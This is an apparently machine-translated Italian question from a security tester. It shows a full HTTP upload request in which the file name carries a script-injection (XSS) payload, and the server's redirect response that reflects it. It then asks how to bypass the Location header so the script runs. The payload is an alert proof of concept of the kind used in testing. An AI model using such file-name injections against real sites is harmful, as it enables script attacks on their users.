In alcuni passaggi di base:
- Richiesta POST contenente una foto con multipart / form-data.
- HTTP / 1.1 302 Trovati rispondono con il reindirizzamento al formulare
- Reindirizza alla forma iniziale.
Nel caso 1 siamo in grado di controllare il nome file che ci consente di utilizzare qualsiasi tipo di payload che vogliamo.
Nel caso 2 siamo in grado di vedere in risposta il payload XSS, ma nessuna esecuzione (lascia che il divertimento abbia inizio) a causa dell'intestazione Location.
Nel caso 3 vediamo il nome del file che è laravael encoded response ... = > no XSS.
Ha spiegato:
Passaggio 1:
POST /upload/file HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://example.com/upload
Content-Type: multipart/form-data; boundary=---------------------------172863706614177227892012498540
Content-Length: 8331
Cookie: laravel_session=not_your_problem
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------172863706614177227892012498540
Content-Disposition: form-data; name="doc_1"; filename="<!DOCTYPE html><script>alert('XSS'); .png"
Content-Type: image/png
Passaggio 2:
HTTP/1.1 302 Found
Server: nginx/1.12.2
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache
Location: https://example.com/upload
Date: Tue, 08 May 2018 12:49:50 GMT
Set-Cookie: laravel_session=laravel_session=not_your_problem; path=/
Strict-Transport-Security: max-age=31536000
Content-Length: 535
adding: <!DOCTYPE html><script>alert('XSS'); .png (deflated 14%)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="1;url=https://example.com/upload" />
Da quanto so del framework Laravel e di altri siti Web, applicazioni e così via aggiungere un reindirizzamento del contenuto (anche se c'è un'intestazione come Location) per una ridondanza extra come <meta http-equiv="refresh" content="1;url=something"
.
In quali circostanze e in che modo potrei essere in grado di ignorare l'intestazione Location per eseguire il mio contenuto e quindi il mio XSS?